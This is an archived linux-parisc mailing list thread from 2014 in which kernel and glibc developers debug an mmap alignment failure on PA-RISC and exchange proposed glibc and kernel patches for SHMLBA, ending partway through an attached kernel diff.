X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Tue, 01 Apr 2014 20:49:59 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <533B0A57.2060700@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396378223 24464 80.91.229.3 (1 Apr 2014 18:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Apr 2014 18:50:23 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 01 20:50:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WV3lI-0002E3-9u
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Apr 2014 20:50:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751349AbaDASuP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Apr 2014 14:50:15 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54090 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751214AbaDASuO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Apr 2014 14:50:14 -0400
Original-Received: from [192.168.178.60] ([84.173.10.166]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LomN9-1WwyiR0QkF-00goG7; Tue, 01 Apr 2014 20:50:00
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <20140401182627.GA3285@drone.musicnaut.iki.fi>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:Jdqaf9TBsLJcttJSNxduBfruZAalAZdY6mYf9sOG0TAenQML8IF
 B7jRfEipDBttrwWWJ/DXOftBv0+AJ4evif/DHGyCkmNbs73MIATRgjdkbtmvG0AQKIFqYVd
 Xsy5t+MKsvxE9nvnyEez5e54qr2AQZNugF5zRwYfyplF//A3HrvbTO2En/QE2Cw0JFOBEdh
 S1vTAqWZhFHSTWw1kvoug==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5744>

On 04/01/2014 08:26 PM, Aaro Koskinen wrote:
> Hi,
> 
> On Sun, Mar 02, 2014 at 10:22:54PM +0100, Helge Deller wrote:
>> On 12/19/2013 10:19 PM, Mike Frysinger wrote:
>>> On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
>>>> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
>>>>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
>>>>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>>>>>
>>>>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
>>>>> cannot map archive header: Invalid argument
>>>>>
>>>>> strace looks like this:
>>>>>
>>>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
>>>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
>>>>> 0) = -1 EINVAL (Invalid argument)
>>>>>
>>>>> With the patch reverted, it works:
>>>>>
>>>>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
>>>>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
>>>>> 0) = 0x43000000
>>>>>
>>>>> BTW, note that for GLIBC 2.18 some changes were done regarding this:
>>>>> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
>>>>
>>>> Are you sure the glibc changes are correct?  PARISC addresses are not
>>>> strictly aligned to SHMLBA.
>>>> There's also a page offset and "random" offset derived from the kernel
>>>> address of the mapping struct.
>>>
>>> the glibc changes were to use SHMLBA as the min alignment where as before it 
>>> was using PAGE_SIZE.  the kernel shouldn't reject us because we manually 
>>> increased our alignment ... the mappings should still be overlapping, so it 
>>> shouldn't be an "out of mapping space" issue.
>>>
>>> the first one gets a really large map (not fixed), and then the second does a 
>>> small mapping inside of that first one.
>>
>> This doesn't work for parisc.
>> We currently face this issue again now with eglibc on debian since we updated
>> it.
> 
> FWIW, this bug is still present with mainline Linux 3.14 + GLIBC 2.19.

Yes.
But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.

I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
Debian bug report with patch is here:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243

And this is what I proposed:

A trivial FIX/workaround would be to change libc-mmap.h like this:
#ifdef __hppa__
#define MAP_FIXED_ALIGNMENT 4096
#else
#define MAP_FIXED_ALIGNMENT SHMLBA
#endif

That works because then the new aligned address is then the same as the original
(the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
if such a patch would be acceptable.
Do you have another idea/proposal?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Wed, 2 Apr 2014 17:41:48 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396520885 2045 80.91.229.3 (3 Apr 2014 10:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 10:28:05 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 12:27:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVeaA-000348-LU
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 12:09:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030407AbaDBVlm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Apr 2014 17:41:42 -0400
Original-Received: from blu0-omc4-s18.blu0.hotmail.com ([65.55.111.157]:54830 "EHLO
	blu0-omc4-s18.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1030399AbaDBVlm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Apr 2014 17:41:42 -0400
Original-Received: from BLU0-SMTP84 ([65.55.111.136]) by blu0-omc4-s18.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 2 Apr 2014 14:41:40 -0700
X-TMN: [u20LzQGi0smusgeYgZGsUXyXdzCD1ZvP]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.154.15]) by BLU0-SMTP84.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 2 Apr 2014 14:41:39 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <533C7C9A.5080703@gmx.de>
X-OriginalArrivalTime: 02 Apr 2014 21:41:39.0882 (UTC) FILETIME=[54B240A0:01CF4EBC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5745>

On 4/2/2014 5:09 PM, Helge Deller wrote:
> On 04/02/2014 09:09 PM, Carlos O'Donell wrote:
>> On Tue, Apr 1, 2014 at 2:49 PM, Helge Deller <deller@gmx.de> wrote:
>>> Yes.
>>> But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.
>>>
>>> I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
>>> Debian bug report with patch is here:
>>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243
>>>
>>> And this is what I proposed:
>>>
>>> A trivial FIX/workaround would be to change libc-mmap.h like this:
>>> #ifdef __hppa__
>>> #define MAP_FIXED_ALIGNMENT 4096
>>> #else
>>> #define MAP_FIXED_ALIGNMENT SHMLBA
>>> #endif
>>>
>>> That works because then the new aligned address is then the same as the original
>>> (the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
>>> if such a patch would be acceptable.
>>> Do you have another idea/proposal?
>> The responsibility for fixing this falls to me, but I've been busy.
> No problem.
>
>> If someone wants to propose a patch for glibc please email
>> libc-alpha@sourceware.org, TO me, and I'll review and commit the patch
>> granted that you show you've done the appropriate testing.
>>
>> Otherwise I'll get to this at some point in the next couple of weeks :-(
> Hi Carlos,
>
> I'm not really sure if my patch is the best way to go. Technically it's correct
> and it's tested since all our debian buildservers currently run with this patch.
> But all other options would probably involve more code changes.
>
> So, I think I'm happy if you can look at it at some point when you find time.
> Your input would be very valuable here.
I'm wondering if kernel value for SHMLBA shouldn't change to PAGE_SIZE 
to better
reflect that attach addresses are page aligned.  The color alignment for 
shared maps
seems a separate issue which maybe userspace doesn't need to worry about.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Wed, 02 Apr 2014 23:09:46 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <533C7C9A.5080703@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396522353 28560 80.91.229.3 (3 Apr 2014 10:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 10:52:33 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 12:52:27 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVeZz-000348-3Y
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 12:09:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030379AbaDBVJ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Apr 2014 17:09:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:64449 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933074AbaDBVJz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Apr 2014 17:09:55 -0400
Original-Received: from [192.168.178.60] ([84.173.20.31]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LwJRe-1X6JM53lcc-0180sM; Wed, 02 Apr 2014 23:09:48
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:CaLTMTUBfPff41lnEaclx0opwNB0mR80oQKA9YHRpjsqQPyApgJ
 10JdN+Fn6JV77PZXhh0c5/QT+ty8r2NXlBOdWOrrZe+MglfGx+x9iYpk4659udlWOel8BpF
 l/2S5Bf+VYsX7PSXUAX/ScuC65uNLE4KwHgkhjPuhbSW7NriRQoqDpPDHdBY2Djb1Fn1o4O
 zmLAY4P+BahYyLgCFtbvA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5746>

On 04/02/2014 09:09 PM, Carlos O'Donell wrote:
> On Tue, Apr 1, 2014 at 2:49 PM, Helge Deller <deller@gmx.de> wrote:
>> Yes.
>> But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.
>>
>> I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
>> Debian bug report with patch is here:
>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243
>>
>> And this is what I proposed:
>>
>> A trivial FIX/workaround would be to change libc-mmap.h like this:
>> #ifdef __hppa__
>> #define MAP_FIXED_ALIGNMENT 4096
>> #else
>> #define MAP_FIXED_ALIGNMENT SHMLBA
>> #endif
>>
>> That works because then the new aligned address is then the same as the original
>> (the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
>> if such a patch would be acceptable.
>> Do you have another idea/proposal?
> 
> The responsibility for fixing this falls to me, but I've been busy.

No problem.

> If someone wants to propose a patch for glibc please email
> libc-alpha@sourceware.org, TO me, and I'll review and commit the patch
> granted that you show you've done the appropriate testing.
> 
> Otherwise I'll get to this at some point in the next couple of weeks :-(

Hi Carlos,

I'm not really sure if my patch is the best way to go. Technically it's correct
and it's tested since all our debian buildservers currently run with this patch.
But all other options would probably involve more code changes.

So, I think I'm happy if you can look at it at some point when you find time.
Your input would be very valuable here.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Wed, 2 Apr 2014 15:09:17 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	<201312191619.05005.vapier@gentoo.org>
	<5313A12E.7010307@gmx.de>
	<20140401182627.GA3285@drone.musicnaut.iki.fi>
	<533B0A57.2060700@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1396524974 11822 80.91.229.3 (3 Apr 2014 11:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 11:36:14 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 13:36:07 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVeUj-000348-By
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 12:03:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932859AbaDBTJY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Apr 2014 15:09:24 -0400
Original-Received: from mail-ob0-f181.google.com ([209.85.214.181]:41566 "EHLO
	mail-ob0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932802AbaDBTJS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Apr 2014 15:09:18 -0400
Original-Received: by mail-ob0-f181.google.com with SMTP id wp4so787142obc.12
        for <linux-parisc@vger.kernel.org>; Wed, 02 Apr 2014 12:09:17 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=4BfBhGj5nV6c5GJwtXxb3KWArlkYX2A2qGJ75ABOQgk=;
        b=kfdelfgYRpNitMn5z1ETGx9kkZfzZ1QRsynWEgYE+QBWrqooNdUSz7Kz6cfGhQGPry
         ymTKBGp9BZ5njJTRuNwiZgZenh7oX0S1CecngsvYIm6I6JNxxL0nmV+aXWAPRkgHCXP6
         Lp2oW4zRmFs78R4Q0OV16f2rOi4vn+s/LLO/r/tMjiM8ev9xI2gTJi+NdNgNZ6oIsjvx
         1XM9x/IYu4zKDn5ESRRFEjbSGt4LDJkKZyRNWI5Eku53lnnOx7oSyeNLwGQnrbkPDhKi
         AolVcYQNeIVhSpknQE8LdKeYtXVnkif9XwUE60SYHx8Xt76qsUtraRJEW1lUbpBd7FiP
         qtAg==
X-Gm-Message-State: ALoCoQkbPu5MCc5f25FHMcdnZaIdCGV3gkNJEMLej2kEL9A9208h2ERic39FzhpqOGolBt7tSwe4
X-Received: by 10.182.97.1 with SMTP id dw1mr1456416obb.23.1396465757683; Wed,
 02 Apr 2014 12:09:17 -0700 (PDT)
Original-Received: by 10.76.144.3 with HTTP; Wed, 2 Apr 2014 12:09:17 -0700 (PDT)
X-Originating-IP: [24.156.97.105]
In-Reply-To: <533B0A57.2060700@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5747
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5747>

On Tue, Apr 1, 2014 at 2:49 PM, Helge Deller <deller@gmx.de> wrote:
> Yes.
> But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.
>
> I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
> Debian bug report with patch is here:
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243
>
> And this is what I proposed:
>
> A trivial FIX/workaround would be to change libc-mmap.h like this:
> #ifdef __hppa__
> #define MAP_FIXED_ALIGNMENT 4096
> #else
> #define MAP_FIXED_ALIGNMENT SHMLBA
> #endif
>
> That works because then the new aligned address is then the same as the original
> (the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
> if such a patch would be acceptable.
> Do you have another idea/proposal?

The responsibility for fixing this falls to me, but I've been busy.

If someone wants to propose a patch for glibc please email
libc-alpha@sourceware.org, TO me, and I'll review and commit the patch
granted that you show you've done the appropriate testing.

Otherwise I'll get to this at some point in the next couple of weeks :-(

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 03 Apr 2014 21:41:21 +0200
Lines: 184
Approved: news@gmane.org
Message-ID: <533DB961.9010607@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030402020607000106090508"
X-Trace: ger.gmane.org 1396554115 16900 80.91.229.3 (3 Apr 2014 19:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 19:41:55 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 21:41:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVnWA-0007Wj-Ch
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 21:41:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753440AbaDCTll (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Apr 2014 15:41:41 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:50638 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753434AbaDCTlk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Apr 2014 15:41:40 -0400
Original-Received: from [192.168.178.60] ([84.173.13.175]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MMBiP-1WNnhf2FvZ-0080gv; Thu, 03 Apr 2014 21:41:22
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:DTgxTdtzRSqDU2gKgie6c25iW1Hb9pehDO1u1WwqplhVbm7rwh0
 CYSupik09a2XmIHHcAJWlhkX/9pzVheTk6gOTx/M5rvtDPbS7zCpxMGgNXYdDreNf9nXPOY
 CN4GjCCwUkMARebgd8DAaxBmna/IugK7+d8uYaRtrvdCpe3qMN+e9CNCV6pnVdVk3wfjHhQ
 sgv5iT5Po/dwZxXZry9+Q==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5748>

This is a multi-part message in MIME format.
--------------030402020607000106090508
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

On 04/02/2014 11:41 PM, John David Anglin wrote:
> On 4/2/2014 5:09 PM, Helge Deller wrote:
>> On 04/02/2014 09:09 PM, Carlos O'Donell wrote:
>>> On Tue, Apr 1, 2014 at 2:49 PM, Helge Deller <deller@gmx.de> wrote:
>>>> Yes.
>>>> But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.
>>>>
>>>> I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
>>>> Debian bug report with patch is here:
>>>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243
>>>>
>>>> And this is what I proposed:
>>>>
>>>> A trivial FIX/workaround would be to change libc-mmap.h like this:
>>>> #ifdef __hppa__
>>>> #define MAP_FIXED_ALIGNMENT 4096
>>>> #else
>>>> #define MAP_FIXED_ALIGNMENT SHMLBA
>>>> #endif
>>>>
>>>> That works because then the new aligned address is then the same as the original
>>>> (the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
>>>> if such a patch would be acceptable.
>>>> Do you have another idea/proposal?
>>> The responsibility for fixing this falls to me, but I've been busy.
>> No problem.
>>
>>> If someone wants to propose a patch for glibc please email
>>> libc-alpha@sourceware.org, TO me, and I'll review and commit the patch
>>> granted that you show you've done the appropriate testing.
>>>
>>> Otherwise I'll get to this at some point in the next couple of weeks :-(
>> Hi Carlos,
>>
>> I'm not really sure if my patch is the best way to go. Technically it's correct
>> and it's tested since all our debian buildservers currently run with this patch.
>> But all other options would probably involve more code changes.
>>
>> So, I think I'm happy if you can look at it at some point when you find time.
>> Your input would be very valuable here.

> I'm wondering if kernel value for SHMLBA shouldn't change to PAGE_SIZE to better
> reflect that attach addresses are page aligned.  The color alignment for shared maps
> seems a separate issue which maybe userspace doesn't need to worry about.

I think this is a very interesting idea and it should be pretty simple!

The attached patch for eglibc should resolve it.
And the attached patch for kernel isn't necessary, but makes it clear that the colouring is important.
 
I did tested the kernel patch - and it seems to work without problems.

I'm not sure if this might introduce userspace compile problems though (although unlikely).

Helge


--------------030402020607000106090508
Content-Type: text/x-patch;
 name="kernel_SHMLBA.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="kernel_SHMLBA.patch"

diff --git a/arch/parisc/include/asm/shmparam.h b/arch/parisc/include/asm/shmparam.h
index 628ddc2..d749144 100644
--- a/arch/parisc/include/asm/shmparam.h
+++ b/arch/parisc/include/asm/shmparam.h
@@ -1,8 +1,7 @@
 #ifndef _ASMPARISC_SHMPARAM_H
 #define _ASMPARISC_SHMPARAM_H
 
-#define __ARCH_FORCE_SHMLBA 	1
-
-#define SHMLBA 0x00400000   /* attach addr needs to be 4 Mb aligned */
+#define SHMLBA	   PAGE_SIZE	/* attach addr a multiple of this */
+#define SHM_COLOUR 0x00400000	/* shared mappings coulouring */
 
 #endif /* _ASMPARISC_SHMPARAM_H */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index a6ffc77..2ea77e7 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -323,7 +323,7 @@ void flush_dcache_page(struct page *page)
 		 * specifically accesses it, of course) */
 
 		flush_tlb_page(mpnt, addr);
